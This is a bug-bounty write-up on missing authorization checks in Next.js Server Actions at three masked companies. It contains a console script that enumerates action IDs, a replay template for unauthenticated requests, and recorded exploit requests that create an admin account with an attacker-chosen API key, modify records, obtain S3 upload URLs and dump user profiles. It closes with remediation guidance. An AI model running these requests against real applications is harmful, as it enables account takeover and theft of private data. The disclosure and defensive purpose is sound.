Home

Next.js Server Actions: Broken access control

Three companies. The same missing permission check. How Next.js Server Actions gave me admin access, private records, and unauthorized file uploads without signing in.

$15K+Total bounties
3Companies affected

Summary

I found the same access-control mistake at three companies: a Server Action performed a sensitive operation without checking who was calling.

In one app, I created a user and gave it an admin API key. In another, I read and changed content, then obtained an S3 upload URL. In the third, I retrieved user profiles and private partner details. Together, these reports earned over $15,000.

This walkthrough follows the requests and the impact. Company names and hosts are masked; the action IDs are kept as recorded.

Part I

Understand the entry point

Server-side code still needs a permission check.

Next.js Server Actions let the browser call a function that runs on the server. The real function stays on the backend. The client receives a reference to it: an action ID.

Here is a simplified example of the mistake:

JavaScript: vulnerable example
'use server'

export async function getUserName(email) {
  // Missing: who is asking, and may they read this user?
  return db.users.find({ email })
}

Calling it from the page produces an HTTP request. In the apps I tested, simple arguments were sent as a JSON array:

HTTP: calling an action
POST / HTTP/2
Host: [ masked ]
Accept: text/x-component
Next-Action: <action-id>
Content-Type: text/plain;charset=UTF-8

["someone@example.com"]

The Next-Action header identifies the function. Next.js decodes the arguments, calls the function, and sends its result back in a React response. More complex arguments can use a different encoding, so the browser's own request is the best starting point.

The important question is what happens inside that function. Before reading private data or changing anything, it needs to verify the caller's identity and permissions. Next.js describes this in its Server Actions security guide.

An action ID identifies a function. It does not authorize the caller. If a page sends that ID to the browser, a visitor can inspect it and use it in a direct request. Hiding an admin button does not protect the action behind it.

A note on action IDs

I call them hashes in my notes, but action ID is the more useful term. Their format depends on the Next.js version. Modern builds generate encrypted, non-deterministic IDs and can remove unused actions. Those protections do not replace authorization. See the current Next.js documentation.

In these cases, I saw both 40- and 42-character hex IDs. A pattern such as [0-9a-f]{40,} avoids cutting the longer ones short. A hex string alone is only a lead: check that it is actually used as an action reference.

How I found the missing check

1. Find the action in the browser

Start with the App Router page and watch its network requests. A request carrying Next-Action gives you the action ID, route, and argument format together.

Other useful clues are self.__next_f in the HTML and React responses with Content-Type: text/x-component. Files under /_next/static/chunks/ are worth reading, but that path alone does not confirm that a page uses Server Actions.

2. Connect action IDs to function names

Read the JavaScript around each action reference. Names such as saveMedia, getUserName, and getPresignedUrl tell you which business operation to investigate.

This console helper recognizes a common webpack output format. It lists candidate IDs and, where possible, their export names:

Show the browser-console helper
JavaScript: browser console
(async () => {
  const urls = new Set(
    [...document.querySelectorAll('script[src*="chunks"]')]
      .map(script => script.src)
  )

  const html = document.documentElement.innerHTML
  for (const match of html.matchAll(
    /static\/chunks\/(\d+-[0-9a-f]+\.js)/g
  )) {
    urls.add(new URL(
      '/_next/static/chunks/' + match[1], location.origin
    ).href)
  }

  const actions = []
  const seen = new Set()

  for (const url of urls) {
    let code
    try {
      const response = await fetch(url)
      if (!response.ok) continue
      code = await response.text()
    } catch {
      continue
    }

    const chunk = (code.match(/push\(\[\[(\d+)/) || [, '?'])[1]
    const references = {}

    for (const match of code.matchAll(
      /([\w$]+)\s*=\s*\(0,[^)]+\)\(\s*"([0-9a-f]{40,})"/g
    )) {
      references[match[1]] = match[2]
    }

    for (const match of code.matchAll(
      /([\w$]+):function\(\)\{return ([\w$]+)\}/g
    )) {
      const id = references[match[2]]
      if (!id || seen.has(id)) continue
      actions.push({ name: match[1], id, chunk })
      seen.add(id)
    }

    for (const id of Object.values(references)) {
      if (seen.has(id)) continue
      actions.push({ name: '(unresolved)', id, chunk })
      seen.add(id)
    }
  }

  console.table(actions)
})()

This is a starting point, not a complete inventory. It can miss lazy-loaded chunks and other bundle formats. Open the relevant pages, inspect the references, and refresh your notes after a new deployment.

3. Replay a known request without authentication

Choose an action you understand. Copy its request into Burp Repeater, remove cookies and any authorization header, and compare the result. Keep the route and argument format from the original request.

For a read-only action that takes no arguments, a request can look like this:

HTTP: no cookies or authorization header
POST / HTTP/2
Host: [ masked ]
Accept: text/x-component
Next-Action: <action-id>
Content-Type: text/plain;charset=UTF-8

[]

Do not send empty arguments blindly to actions that import, delete, sync, or send email. Understand the operation first. For a write test, use a record you control and verify the change by reading it back.

How to interpret a Server Action response
ResponseWhat to check next
200 + React payloadInspect the actual result. Numbered chunks such as 0: or 1: are protocol framing, not proof of a successful or unauthorized operation.
HTML or a redirectCheck the route and request format against the browser capture. It may be a page response, a login flow, or a routing mismatch.
500 / error digestThe request failed. Check the arguments and application behavior; an error alone does not establish why it failed.
401 / 403This request was rejected. To assess authorization, also compare users with different roles or ownership.

The proof is the unauthorized result. Show that an anonymous caller can read private data or perform a restricted operation. A successful status code, a visible action ID, or a public function is not enough on its own.

Part II

Three companies, three outcomes

The entry point was similar in all three apps. The impact depended on what the exposed function could do.

  1. 01Create a user. Grant an API key. Reach the admin API.A generic database write led to access to users, contracts, vendors, and internal records.
  2. 02Read content, change records, and obtain an S3 upload.29 exposed actions; over 16,000 records in the returned content data.
  3. 03Retrieve user profiles and private partner details.Email and domain lookups returned far more information than the page needed.

From unauthenticated writes to admin API access

Making my own admin account

The first app exposed a function called getResults. Despite the name, it could create or update records in any collection. It did not require a login.

The page referenced roughly 30 actions. Mapping them helped me understand the backend: imports, exports, contract syncs, account management, and email operations. The generic write was the most direct way into the system.

View the related action inventory: 11 entries
Recorded action IDs, function names, and operations in the first app
Recorded action IDFunctionOperation
7fef479c0462038476bebb03cb2abde62c09482983getResults()Create or update records in a caller-selected collection. This was the entry point for the chain.
7ffd683affc5c5c3b188cdffe55958dbf39c9e517eusersCSVImport()Bulk-import users.
7f919a2e703675749891a50e5a643a67653aeab3cbpropathClearImport()Clear imported ProPath data.
7f8e91eef6b93a0fbfe618166e1dc033f782d778f5airtableFundingExport() (+ requests, tasks)Export datasets to Airtable.
7f6397a606df5f4cddaa46791ecf9612e0725e9adcmaximoCoupaSync()Run an ERP contract-status sync.
7f654e19a62900743fc4cd505fb27718ee40eead81syncInactiveUsers()Deactivate inactive user accounts.
7fd40b8aa3860bc1093e611b8fc204198b901ac6d4setNotificationThreshold()Change the notification threshold.
7f397bd34aeebb0fb85a8b15b91ca6f81b797af284runTestingScripts()Run backend test scripts.
7fca59c46256eda72a469ae68bfae6b4e665feb06afetchPreviews()Render contract-email previews from supplied data.
7f149da7627165e00fe1c2921339ec9d2b46e996d4handleSendTestEmails()Send a test email to a supplied recipient.
7f89fbf154872e8a534b01ea6bc03d5f7095396f9aenableEmailSending() / disableEmailSending()Toggle the email pipeline.

getResults accepted users as the collection name. It also let me set sensitive fields, including enableAPIKey and the API key value. That gave me a short chain from an anonymous request to an authenticated admin API call.

Animated attacker flow

From public code to admin data
01 / 04

Find the action. The public JavaScript contains the Server Action ID. Knowing the ID lets the attacker call the function directly.

Watch the account-to-API chain17 sec / silent

Step 1: Create a user

I supplied users as the collection and asked the action to create a record:

HTTP: create the account
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 7fef479c0462038476bebb03cb2abde62c09482983
Content-Type: text/plain;charset=UTF-8

[{"collectionSlug":"users",
  "toProcessData":[["new",{"email":"attacker@researcher","firstName":"sky","lastName":"desperados"}]],
  "useAsTitle":"email"}]

The response included the new user's ID. I used that ID in the next request.

Creating an account was not enough by itself. The portal used single sign-on (SSO), so I needed to show how the new account could actually access the backend.

Step 2: Give that user an API key

The same action let me enable API-key authentication and choose the key value:

HTTP: set the API key
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 7fef479c0462038476bebb03cb2abde62c09482983
Content-Type: text/plain;charset=UTF-8

[{"collectionSlug":"users",
  "toProcessData":[["<user_id>",{"enableAPIKey":true,"apiKey":"<attacker-chosen-key>"}]],
  "useAsTitle":"email"}]

This created a way to authenticate directly to the API, without going through the portal's SSO flow.

Step 3: Use the key against the admin API

HTTP: access the users collection
GET /api/users?limit=100 HTTP/2
Host: [ masked ]
Authorization: users API-Key <attacker-chosen-key>

The API accepted the key and gave the new account admin-level access. The recorded responses included:

Recorded results
/api/users            : 52 users
/api/<collection>    : 172 contracts + 524 vendors
/api/roles            : 19 roles
/api/<collection>    : 900+ internal records

What made this an admin-access bug: an anonymous caller could create an identity, set its credentials, and use those credentials to read restricted collections. The impact came from the full chain.

That distinction mattered in triage. Creating a user did not explain the risk. Requests showing what the user could access made the report concrete and reproducible.

Reading content, changing records, and writing to S3

From content records to cloud storage

In the second app, the page's module map led me to two JavaScript chunks containing 29 actions that could be called without a session.

Three operations stood out: reading large content datasets, changing records by ID, and requesting a signed upload URL.

Read records and IDsthenChange contentthenObtain an S3 upload

Step 1: Read the content database

Three actions returned large slices of the content database when called with an empty argument list:

HTTP: unauthenticated content read
POST /admin HTTP/2
Host: [ masked ]
Next-Action: f493a4c38f46e3eb45efc81fc90670ae577a062a
Content-Type: text/plain;charset=UTF-8

[]
Content returned by unauthenticated actions in the second app
Action or datasetRecorded result
Three bulk content reads18.5 MB, 17.8 MB, and 8.3 MB responses; over 16,000 records in the returned data.
getMediaLibrary48 media items and their S3 URLs.
getVenueFacilities16 venues, including GPS locations and floor plans.
getAppSettings10 feature flags.

Step 2: Change a record using its ID

The read responses included record IDs. Another action, saveMedia, accepted those IDs and exposed 23 editable fields without checking the caller's permissions.

I used an ID from the returned data, changed the record, and read it back to confirm the update:

HTTP: update a content record
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 9a45aa6306204b11a0751169bb5223f34a3a6ad9
Content-Type: text/plain;charset=UTF-8

[{"id":"<record_id>","name":"SKYDes","alt":"IDOR","title":"IDOR","allowInTemplates":true}]

The read action supplied the IDs. The write action let me change the records behind them. An anonymous caller could now read private content and change it.

Step 3: Request an S3 upload URL

getPresignedUrl also worked without a login. I supplied a filename and the string image as the second argument:

HTTP: request upload permission
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 331556fb13b828b396005e2d02abfda1490ec405
Content-Type: text/plain;charset=UTF-8

["skydesperados-poc.html","image"]

The response contained a signed URL for a development S3 bucket. I then sent a PUT request to that URL:

HTTP: use the signed upload URL
PUT /skydesperados-poc.html/image_...?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=<masked>&X-Amz-Signature=<masked>&... HTTP/1.1
Host: <dev-bucket>.s3.us-east-1.amazonaws.com
Content-Type: text/html
Content-Length: 0

A presigned URL grants limited access to a particular S3 operation. The AKIA... access-key ID in the URL is not an AWS secret key. The problem here was that an anonymous caller could obtain upload permission. AWS explains the mechanism in its presigned URL guide.

Unauthenticated reads: excessive data returned

User profiles and private partner details

The third app exposed two lookup actions. Both returned full database records when the page needed only a small part of the result.

The problem was more than extra fields: an anonymous caller could retrieve other users' profiles and private information about company partnerships.

Step 1: Retrieve user records

getUserName accepted an email address. An empty string, or a % wildcard, returned a page of user records:

HTTP: user lookup with an empty argument
POST / HTTP/2
Host: [ masked ]
Accept: text/x-component
Next-Action: 20e7abcb3e805fbb07e9e22d56270b52dddf6f7f
Content-Type: text/plain;charset=UTF-8

[""]

Each record included the user's first and last name, email, employer, account UUID, and timestamps.

Supplying an individual email also returned that person's profile. I verified this with accounts I did not own. That established an unauthorized user-data read; it did not depend on proving a complete dump of the user table.

Step 2: Retrieve partner records by domain

A second action, isRegistered, checked whether a company domain belonged to an approved partner.

The page needed a registration result and agency name. The action also returned the internal employee responsible for the partnership, along with the status and expiry of its master services agreement (MSA):

HTTP: partner-domain lookup
POST / HTTP/2
Host: [ masked ]
Next-Action: 54464d0ddf3f01be5720ce152ae80d8d23ff783c
Content-Type: text/plain;charset=UTF-8

["probe@<partner-domain>"]

Testing around 14 domains returned nine distinct internal employee contacts, together with partner contract details. Repeating the lookup exposed more private records for the tested partners; the total size of the partner list was not established.

Two reads, two kinds of private data: personal account profiles from the email lookup, and internal relationship and contract details from the domain lookup. Neither action checked who was asking.

Part III

Fix the boundary

Check permission where the work happens.

All three apps trusted a request that should have been checked. The function ran on the server, but the caller still controlled its arguments.

  • A broad write let me create an identity and give it credentials.
  • Unprotected reads and updates exposed private content and let me change it.
  • An unprotected upload action granted write access to an S3 object.
  • Returning every field exposed profile and partner details the page did not need.

What needs to change

  1. Verify identity and permission before sensitive work. A valid session is only the first check. Confirm the user's role, tenant, and access to the specific resource.
  2. Keep the check close to the data. Use a shared data-access layer or enforce it inside each action. A page redirect, hidden button, or middleware check should not be the only control.
  3. Accept only the fields the operation needs. Replace generic collection writes with specific operations. Ordinary callers should not be able to set roles, API keys, or authentication flags.
  4. Return a deliberate response shape. Choose the fields the caller is allowed to see. Do not send a full database row simply because the query returned one.
  5. Constrain upload permission. Authorize the upload workflow and limit the object path, accepted content, and URL lifetime. A public upload feature still needs tightly scoped access.

Next.js covers session verification, authorization, and returning minimal data in its authentication guide.

JavaScript: illustrative authorization structure
'use server'

export async function updateMedia(input) {
  const user = await requireUser()
  const data = mediaUpdateSchema.parse(input)
  const record = await loadMedia(data.id)

  if (!record || !(await canEditMedia(user, record))) {
    throw new Error('Forbidden')
  }

  const saved = await db.media.update({
    where: { id: record.id },
    data: { name: data.name, alt: data.alt }
  })

  return { id: saved.id, name: saved.name }
}

Illustrative, not drop-in code. The session, schema, data-access, and permission helpers belong to your app. They must enforce its role, tenant, and resource rules.

After fixing the action, repeat the original request without a session and with users who lack permission. Confirm both that access is denied and that no data was changed.

The action ID tells the server what to run. Your permission check decides whether it should.

Reference

Keep the request simple

Request template

HTTP: simple JSON-argument action
POST /<route> HTTP/2
Host: <target>
Accept: text/x-component
Next-Action: <action-id>
Content-Type: text/plain;charset=UTF-8

<json-array-of-arguments>

Use the route, full action ID, and argument encoding from the app's own request. IDs are specific to the app and build; the recorded examples are not universal values.